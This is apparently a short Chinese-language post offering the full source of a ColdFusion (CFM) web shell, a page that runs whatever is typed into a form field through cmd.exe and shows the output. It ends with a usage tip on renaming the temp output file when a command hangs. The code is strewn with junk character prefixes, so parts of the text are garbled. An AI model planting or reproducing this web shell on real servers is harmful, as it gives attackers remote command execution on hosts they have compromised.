cfm的cmdshell使用注意

admin

cfm-cmdshell
<html>   
<head>   
, K% [* p' ^8 o9 K<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
) Q9 c- g- p3 d% w<title>CFM shell</title>   
1 C; R: A0 f3 j0 w) B/ h: D5 m' O% E</head>   
( r/ T) y5 H8 M0 d<body>   
: ^9 b0 w; q, S0 U; z; B$ O6 b<!--- os.run --->   
5 m! C6 G* _8 c: o7 H<cfif IsDefined("FORM.cmd")>   
    <cfoutput>#cmd#</cfoutput>   
3 n  ~# D" N% v1 h! K7 ?; ^- U    <cfexecute name="C:\Winnt\System32\cmd.exe"   
           arguments="/c #cmd#"   
4 l1 h# l* w, p, w7 x! S           outputfile="#GetTempDirectory()#foobar.txt"   
           timeout="1">   
    </cfexecute>   
</cfif>   
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
( w5 W5 \6 G! @! q1 @<input type=text size=45 name="cmd" >   
<input type=Submit value="run">   
</form>   
8 {7 p, x$ j* M, k5 y<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
  <cffile action="Read"   
1 e- k/ S* \( Q            file="#GetTempDirectory()#foobar.txt"   
$ L1 i0 i3 z# i/ `* O            variable="readText">   
# ^' ?# ^% k% o! b2 L2 D<textarea readonly cols=80 rows=20>   
<CFOUTPUT>#readText#</CFOUTPUT>            
+ |" r# D; A7 v</textarea>   
    <cffile action="Delete"   
7 \& L/ k8 @% x  M$ V9 L            file="#GetTempDirectory()#foobar.txt">   
  S2 R# I8 V! Z! [; d" h</cfif>   
" r. C' ], J3 o: b7 X% m</body>   
</html>   
1 w3 A' k, X& T2 v  [" d
有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。
1 J1 e" U5 Z) Z- r; l